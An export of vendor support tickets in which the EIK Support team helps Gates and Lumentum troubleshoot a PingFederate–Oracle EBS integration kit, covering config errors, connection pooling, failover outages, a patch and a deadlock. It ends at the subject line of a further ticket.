PROBLEM DESCRIPTION : Gates continues to see errors in the /ping/Server.Log file on our production systems that are similar to errors seen previously. These failures are being seen on our dev and prod systems.. We are not seeing login failures. Please review and advise.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hello Mike Trus, Inferring the logs, these errors are caused due to the inability of the Kit to fetch the contents of the EIKAuth.config file intermittently. The Common reason would be due to editing the config file manually. Regenerating the EIKAuth.config file and replacing it inside the EIK\_HOME directory path should fix this issue. Also, this needs a restart of PingFederate runtime servers to take effect. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Also, can you tell us why the number of connections to the ERP system are so high, and why they continue to climb, vs the HR connection is low, and stays low? Our volume of HR users today is approximately 5x than our ERP users, and yet the number of connections is staying so low?

Hi Mike Trus, We will check and update you as soon as possible. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



Hi Mike, Can you share the server logs especially captured during the particular time, by which you have shared the Connection values for ERP & HR with us for our reference? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Inferring the logs, these errors are caused due to the inability of the Kit to fetch the contents of the EIKAuth.config file intermittently. The Common reason would be due to editing the config file manually. Regenerating the EIKAuth.config file and replacing it inside the EIK\_HOME directory path should fix this issue. Also, this needs a restart of PingFederate runtime servers to take effect. We rebuilt the .dbcx file in accordance with LikeMinds direction and put it into production last Thursday (10/29/20) with LikeMinds engineers in attendance. They VALIDATED the file and VALIDATED the installation in real time on each of our servers. I am including yesterday's logs as well as the connection pool logs. The connection pool metrics run every 15 minutes on each server and check the pools for each EIK. I am very nervous that the ERP will fail again when it reaches the limit. But, my big question is why isnt the HR pool also growing?! They are on the exact same sever using dbcX files that were also validated by LikeMinds engineers. Thanks, Mike Trus.

more files...

Hi Mike Trus, Thank you for sending the logs through. ? We can observe that the DB connection pools on the HR DB are being recycled and the ERP DB is not. The same .dbcx file configurations

(which we validated on the call) were used for both EBS ERP and HR as we all observed and this connection pooling behavior for ERP DB is unexpected. We will look into this and get back to you at the earliest. Please send us the latest connection pool logs in the meantime. The Common Reason for the "Exception occurred in Building Authcode URI" which is the error that is repeatedly observed in the server logs is editing the EIKAuth.config manually. Regenerating the EIKAuth.config on all PingFed nodes (both HR and ERP) using the provided Utility and restarting the PingFed Runtime engine nodes generally fixes this issue. Please do inform us if the error still persists upon completing this step. ? We will provide an update regarding the connection pooling issue at the earliest. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thank you for the response. I can validate that EIKAuth.config has NOT BEEN MANUALLY updated or touched in any way on any of the servers. I will send logs at the end of day (5pm MDT). I look forward to further input. Thank you, Mike Trus

Please advise EXACTLY what file(s) need to be rebuilt? EIKAuth.config for HR AND ERP? Will we need to rebuild the .dbcx files too? Are there any other files that need to be updated? How could these two (ERP) files have gotten corrupted? Please advise ASAP as I am scheduling expensive resources to rebuild these files so I can put them in production on Thursday afternoon MDT. Thank you. Mike Trus

Here is the next set of logs from today.

Hi - Can you please provide answers to my questions? I'd like to rebuild the necessary files today @2pm MDT. "Please advise EXACTLY what file(s) need to be rebuilt? EIKAuth.config for HR AND

ERP? Will we need to rebuild the .dbcx files too? Are there any other files that need to be updated? How could these two (ERP) files have gotten corrupted? Please advise ASAP as I am scheduling expensive resources to rebuild these files so I can put them in production on Thursday afternoon MDT. " Thanks, Mike Trus

Hi Mike Trus, As we discussed during our call, we will be rebuilding the EIKAuth.config files for both HR and ERP on both the ADC and AWS Servers in order to fix the "Exception occurred in Building Authcode URI error as mentioned in the server logs. We must first obtain the Thread Dump of the PingFederate Services on both servers in order to analyze the root cause behind the connection pooling issues. We will then be able to proceed with a fix and necessary .dbcx configurations. As Gates' PingFed Environment has the JRE 1.8.0 installed, the jcmd and jstack utilities required to collect the Thread Dump are unavailable and we are working on finding an alternative. Thank you for your patience. No other files have to modified/updated. Will give you an update at the earliest possible. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike, ? In moving forward with diagnosing and fixing the connection pooling issues with EIK 1.1 in Prod, could you please provide the following information : 1. Database versions, JDBC driver versions of Oracle ERP and HR Database. 2. EBS ERP and HR Application Versions 3. The type of user created for EIK (Appuser or not) Could you also please provide the latest DB connection Pool Logs and PingFed server logs. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Support Team, Here are the details requested. 1. Database versions, JDBC driver versions of Oracle ERP and HR Database. These are the jarfiles I see in the JDBC lib directory ERPPROD /opt/oracle/products/ERPPROD/11.2.x/jdbc/lib ojdbc5dms\_g.jar ojdbc5dms.jar ojdbc5\_g.jar ojdbc5.jar ojdbc6dms\_g.jar ojdbc6dms.jar ojdbc6\_g.jar ojdbc6.jar simplefan.jar ERPHRPRD /opt/oracle/products/ERPHRPRD/12.1.x/jdbc/lib ojdbc6dms\_g.jar ojdbc6dms.jar ojdbc6\_g.jar ojdbc6.jar ojdbc7dms\_g.jar ojdbc7dms.jar ojdbc7\_g.jar ojdbc7.jar simplefan.jar 2. EBS ERP and HR Application Versions 12.1.3 3. The type of user created for EIK (Appuser or not) We created app user name ?EIKUSER? Let us know if you need more information. Best Regards, Krishna

Most recent PingFed Server Logs Attached

Connection Pooling logs. Oracle DB

Hi Mike, We wanted to inquire about the possibility of changing the Java Environment in your DEV PingFederate- EIK 1.1 enabled servers. <https://support.pingidentity.com/s/article/PingIdentity-Java-Support-Policy> This way, we can perform load-testing in DEV to replicate the connection pooling issue on Oracle DB that we may collect the PingFed thread dumps in order to analyze the root cause at the application thread level. The current JRE configured does not contain the required utilities. ? Collecting thread dumps with no thread analyzing utilities will require 3rd party monitoring software and can pose a security risk as you mentioned previously. Kindly respond via the portal. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike Trus, Gentle follow-up on the above request/suggestion. Please let us know that we may

proceed to resolve this issue. Thank You. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike, No Worries. Please do refer to the Ticket below for reference/clarification regarding the Environment etc. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Thanks! Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I feel like we are in a loop! We would be happy to discuss the Java environment in our dev environment. Please set up a call with myself and Woody to discuss asap. Best, Mike Trus

Hi Mike, How does 10 AM EST tomorrow (Tuesday) fit in your schedule? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Perfect. Invites sent. Thanks, Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike Trus, Please Find the Download Link to the Apache Jmeter utility along with a link to a guide for it as well. You can test the EIK Auth path for ERP and HR that the user is redirected to from EBS (individually). Download Apache Jmeter Basic Stress Test Guide Jmeter User Manual Please collect

the Connection pool logs along with time-stamps with stress tests being performed. We can collect the thread dumps upon observing that the Connections are not being recycled (Assuming that the EBS DB setup for Dev and Prod are identical) Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Mike Trus : We need to have a call to discuss the installation and use of JMeter in our dev environment. Last year we had numerous discussions about how we have no means generating a load and throwing it at Ping in Dev. As you know, the SSO process is somewhat complex in that users requesting SSO either need to 1.) fill out an HTML form or 2.) they need a Kerberos ticket in order to be able to invoke the SSO process that enables the EIK. Additionally, having a single user hit Ping over and over is not going to meet the needs of a load test either ? so, we need input from you regarding how a load would be generated. How do you guys do it in dev?

Hi Mike Trus, ? With users using Kerberos, this could be an additional learning curve with Jmeter. We'll have to go forward with having a good number of test users performing a load-test with SSO for both the EBS ERP and HR applications in dev within a specific time frame. We need to capture/record the Connection Pool logging/behavior during this time-frame for ERP and HR (the connections for ERP are not being recycled in Prod) and then collect the thread dumps of PingFed. Simulating the load of the Prod environment is of course not possible but we should be able to capture something in the thread dumps and the connection pooling logs with (load)test-users performing SSO repeatedly. Please let us know the test can be done and thread dumps collected. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike, As you mentioned previously, 'SSO process is somewhat complex in that users requesting SSO either need to 1.) fill out an HTML form or 2.) they need a Kerberos ticket in order to be able to invoke the SSO process that enables the EIK' The best way to load-test now is testing in dev with a selected group of users. In preparation for the test, please verify if the jcmd,jstack, or jconsole GUI utilities are present with the current JDK installation on DEV Pingfed nodes. If you would like to try Jmeter out, the Installation is extremely easy and straightforward. Please refer to the links provided in the previous mail. They include a guide on installation and basic test case generation that would be the extent of what I'll be able to guide you on as well. More information can be found here: [Apache JMeter - Apache JMeter HTTP\(S\) Test Script Recorder How to Record a Scenario with JMeter - OctoPerf](#)

Hi Mike Trus, We are closing the ticket from our side. Please open a ticket if needed. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1042> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1043

SUBJECT : EBS - APAC outage, failover did not work. looking to understand failure

PROBLEM DESCRIPTION : EBS - APAC outage, failover did not work. looking to understand failure

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Lumentum InfoSec, Can you share the logs files of all runtime servers with all runtime servers up

after doing a successful SSO? Then, can you shut down all the other runtime servers except the APAC PingFederate runtime server and share the log of APAC runtime alone, after trying an SSO in the browser? Also, please share the screenshot of the error displayed in the browser along with the

Browse                      Network                      trace.                      Ticket                      URL                      -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, As discussed in our previous call, we have confirmed Sindhuja's availability and she'll be available today/tomorrow (whichever is suitable for your time window) till 12 PM IST.

Please                      share                      the                      invite                      for                      the                      same.                      Ticket                      URL                      -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, ?Sorry for the typo; The Time availability is 12 PM EST. Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Thanks, EIK Support Team <--

This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Just for the reminder, we have confirmed Sindhuja's availability and she'll be available tomorrow till 12 PM EST. Please share the invite for the same. Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



Hi Lumentum InfoSec, As discussed in our previous call, can you please share with us the APAC runtime server logs (server.log, server.log.1,...server.log.5), request logs, and audit logs to investigate further on the issue? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Likeminds team, PFA logs that you have requested

Hi Lumentum InfoSec, We will analyze the logs and get back to you as soon as possible. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, As we reviewed the logs, we found log traces at the request log, but not adequate information for EIK is available at the server.log file; Can we have a working session to discuss if this is an EIK issue or not? Please share a meeting link on your availability for our discussion and our implementation engineers team will be available till 12 PM EST throughout this week and the coming week. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Thank you, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, ? Can you please setup a meeting for 10 minutes to check the one flow for APAC server?. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not

reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Yes , Can you please schedule a meeting today. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Here are the logs that you have requested from Apac engine

Hi Lumentum InfoSec, Thanks for sharing the requested logs. We will check and update you. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello Team, ? Just to share a quick update on the meeting we had today; We performed some use-cases to test if there are issues at the LTM level for the EBS Integration Kit. Everything worked fine and as expected. As the next step of the troubleshooting process, we need to check if there are any issues allied with the VPN or at the Imperva side. @Lumentum, please check them & confirm with the Team and let us know. ? Thanks in Advance. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, Likeminds Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, ?Kindly request you to close the ticket in the LikeMinds HelpDesk Portal if the issue is resolved. If there is no response from you, we will assume that the issue has been resolved and the ticket will be automatically closed after 48 hours. Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1043> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1044

SUBJECT : the DBCX file generation issue for the EBSQA database which is using Scan JDBC URL

PROBLEM DESCRIPTION : Hi Sarbjit, Could you please create a ticket in the portal to track the DBCX file generation issue for the EBSQA database which is using Scan JDBC URL? On Mon, Nov 30, 2020 at 10:01 PM Sarbjit Kullar <Sarbjit.Kullar@lumentum.com> wrote: Hi Likeminds PFA Thanks! Regards, Simi Kullar From: EIKsupport LMC [mailto:eiksupport@likemindsconsulting.com] Sent: Friday, November 27, 2020 4:11 AM To: Sarbjit Kullar <Sarbjit.Kullar@lumentum.com>; Srinivasa Rao Tota <SrinivasaRao.Tota@lumentum.com> Cc: EIKsupport LMC <eiksupport@likemindsconsulting.com> Subject: [External]:Re: Sarbjit Kullar's Meeting Hello Sarbjit/Srinivas, Can you please share the error that popped up during the dbc file generation and also the server log files? We'll check & get back to you. Thanks, EIK Support Team On Fri, Nov 27, 2020 at 11:37 AM Sarbjit Kullar <Sarbjit.Kullar@lumentum.com> wrote: HI Likeminds team, Could you please join this meeting? We have deployed EIK 2.0 kit and we are unable to log-in EBS. Sarbjit Kullar is inviting you to a RingCentral meeting. Join from PC, Mac, iOS or Android: <https://meetings.ringcentral.com/j/1494735574> Or iPhone one-tap: +16234049000,,1498471269# (US West) +14694450100,,1498471269# (US South) +17732319226,,1498471269# (US North) +17209027700,,1498471269# (US Central) +14708692200,,1498471269# (US East) +60392121415,,1498471269# +6623283083,,1498471269# +914071279040,,1498471269# Or Telephone: Dial: +1 623 404 9000 (US West) +1 469 445 0100 (US South) +1 773 231 9226 (US North) +1 720 902 7700 (US Central) +1 470 869 2200 (US East) +60 3 9212 1415 +66 2 328 3083

+91 40 7127 9040 Meeting ID: 149 847 1269 International numbers available:  
<https://meetings.ringcentral.com/teleconference> CAUTION: This email originated outside of Lumentum. DO NOT CLICK links or attachment unless you recognize the sender and know the content is SAFE. -- Thanks & Regards, ?innovation engineered? Sindhuja Manickam IDM Engineer India Tel No: +91 8667820192

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/1043>

Hi Lumentum InfoSec, ?We will look into it and update you as soon as possible. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, As we have the issue in DBCX file generation for the EBSQA Database which is using Scan JDBC URL, below is the recommendation from Oracle to resolve the same. ORA-12504: TNS: listener was not given the SERVICE\_NAME in CONNECT\_DATA as recommended, add the Database service name in the listener.ORA file Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please take a look at ticket #1044 raised by Lumentum InfoSec ([information.security@lumentum.com](mailto:information.security@lumentum.com)).

Hi Lumentum InfoSec, As we have the issue in DBCX file generation for the EBSQA Database

which is using Scan JDBC URL, below is the recommendation from Oracle to resolve the same.  
ORA-12504: TNS: listener was not given the SERVICE\_NAME in CONNECT\_DATA as recommended, add the Database service name in the listener.ORA file Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, ? We are working with the development team. Yet to receive the update from the development team. We will update you asap. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, We have updated new patch in support portal, So can we have a meeting today to have a working session. We have added a patch folder for DBCX issue in the EIK support portal. Folder name: EIK2.0 - DBCX patch Download URL: <https://likemindsconsultinghelp.freshdesk.com/support/solutions/folders/48000675877> Steps to Follow: 1) Remove the existing EBSDatasource.jar file from EIK\_HOME directory. 2) Import the new patch files (ebsdatasource-jar-with-dependencies.jar, ojdbc6.jar, ons.jar, ucp.jar) into EIK\_HOME directory. 3) Execute the below script java -cp ebsdatasource-jar-with-dependencies.jar;<EIK\_HOME\_path>/ojdbc6.jar; <EIK\_HOME\_path>/ons.jar; <EIK\_HOME\_path>/ucp.jar com.likeminds.ebsauth.v1.EIKDatasource Y For JDBC url and other parameters, use it as per the deployment guide. ? kindly restart the PF application after importing the patch files into the EIK\_HOME directory. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit

the ticket link above to view or manage your tickets.-->

Hi Vikrant, Apologies for the delayed response. we are available now please send the meeting invite. And also please follow up the mail conversation via the support portal. It's convenient for our support team to respond quickly. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vikrant, ? We are available for tomorrow's meeting at 9:30 IST. Please send the meeting invite to us. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vikrant, We have already informed our technical team about this issue. once they will update the patch file and reply back to you as soon as possible. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vikrant, We have to clarify something related to this issue. Can you please set up the 30 minutes working session? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Likeminds, Please find attached logs.

Hi Lumentum InfoSec, We hope that the DBC file generation issue has been resolved now. Can we proceed to close this ticket? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Kindly request you to close the ticket in the LikeMinds HelpDesk Portal if the issue is resolved. If there is no response from you, we will assume that the ticket has been resolved and the ticket will be automatically closed after 48 hours. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1044> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1045

SUBJECT : EIK.2.0 kit for EBS DEV seems not working, It seems like it still required bounce if any activity done.

PROBLEM DESCRIPTION : Hi Team, EIK.2.0 kit for EBS DEV seems not working, It seems like it still required bounce if any activity done. EIK.2.0 kit for EBS DEV seems not working. It seems like we had an issue with EBS DEV - that's the system where we updated the new EIK.2.0 kit sometimes back in November. Please check & let us know why the new kit seems not working. It seems like it still required bounce if any activity performed on non-prod. Thanks

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/1043>

Hi Lumentum InfoSec, Can you please share the server.log files of the pingfederate instance where the EIK2.0 kit is deployed? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1045> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, PFA server log from both runtime engine where EIK2.0 kit is deployed. Please let me know in case of any concern. Thanks Vikrant

Hi Lumentum InfoSec, We are checking the logs; In the meanwhile, can you please confirm from the DB Team if there is any password change for either EIKUSER or apps user? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1045> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Could you please test the above-mentioned issue after the EIK kit up-gradation in DEV and let us know the status? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1045> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Could you please check and let us know the update to close the ticket? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1045> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



Hi Lumentum InfoSec, Kindly request you to close the ticket in the LikeMinds HelpDesk Portal if the issue is resolved. If there is no response from you, we will assume that the ticket has been resolved and the ticket will be automatically closed after 48 hours. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1045> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1046

SUBJECT : Runtime node keeps shutting down intermittently due to EBS custom kit that is installed in PingFederate

PROBLEM DESCRIPTION : We found PingFederate has hung from a java deadlock. We collected a thread dump to further investigate and the culprit here is this third part class "com.likeminds.EBSAuth.EBSAuthBL.createEBSSession". From this we can identify the Like Minds EBS custom kit that is installed in PingFederate is the root cause of the dead lock Please have someone from your team join this call <https://meetings.ringcentral.com/j/1480794700> Attached are deadlock logs.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Lumentum InfoSec, Please find the below JMX monitoring parameters that help to monitor Java-memory related issues in the affected machine(10.230.6.4) ---ZABBIX JVM monitoring---

```
jmx["java.lang:type=Memory","HeapMemoryUsage.committed"]
jmx["java.lang:type=Memory","HeapMemoryUsage.max"]
jmx["java.lang:type=Memory","HeapMemoryUsage.used"]
jmx["java.lang:type=Memory","NonHeapMemoryUsage.committed"]
jmx["java.lang:type=MemoryPool,name=Code", "Cache", "Usage.max"]
jmx["java.lang:type=MemoryPool,name=Code", "Cache", "Usage.used"]
jmx["java.lang:type=MemoryPool,name=Perm", "Gen", "Usage.committed"]
jmx["java.lang:type=Threading","PeakThreadCount"] jmx["java.lang:type=Threading","ThreadCount"]
jmx["java.lang:type=Threading","TotalStartedThreadCount"]
jmx["java.lang:type=GarbageCollector,name=ConcurrentMarkSweep","CollectionCount"]
jmx["java.lang:type=GarbageCollector,name=ParNew","CollectionCount"]
```

Above all parameter needs to configure for both Pingfederate BaseURL and Pingfederate runtime engine(10.230.6.4) with their hostname and port. We are not sure about the ZABBIX configurations as we didn't use this tool before. If need we are ready to join the meeting to configure the same. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1046> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Did the issue occur again? Kindly let us know the status. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1046> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, We are closing the ticket from our side. Please open a new ticket if needed. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1046> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to

this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1047

SUBJECT : EBS Prod is Down - errors from EIK kit

PROBLEM DESCRIPTION : Ping services restarted, but didn't resolve the issue

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Team, PFA logs.

Hi Team, We are still waiting for the RCA. Please update. Thanks

Hi Team, Please update on this. We are still waiting for the RCA, the RCA need to be updated on the problem task opened for us. Please update ASAP. Thanks

Hi Vikrant, We will get with you with the RCA on the issue discussing with our Developer team as soon as possible. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1047>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vikrant, We did a complete check with respect to this issue. The actual cause of the issue is that the Token Provider endpoint in PingFederate is not reachable during the authentication transaction. Looking at the failed transactions, it looks like the PingFederate token endpoint is not responding back when EIK is trying to communicate. Due to this, the request got timed out which and the SSO

transaction is failing for the user. As we don't see any issues on the EIK transaction here, this issue might happen if Imperva may not forward the request to PingFederate token endpoint at runtime. Therefore, the request was lost or denied responding or exceeded the time wait to respond back to EIK. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1047> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, The requested RCA regarding the issue has been provided & please let us know if we shall proceed to close the ticket. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1047> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1048

SUBJECT : Request is not routing to other node when Ping Prod APAC engine got down

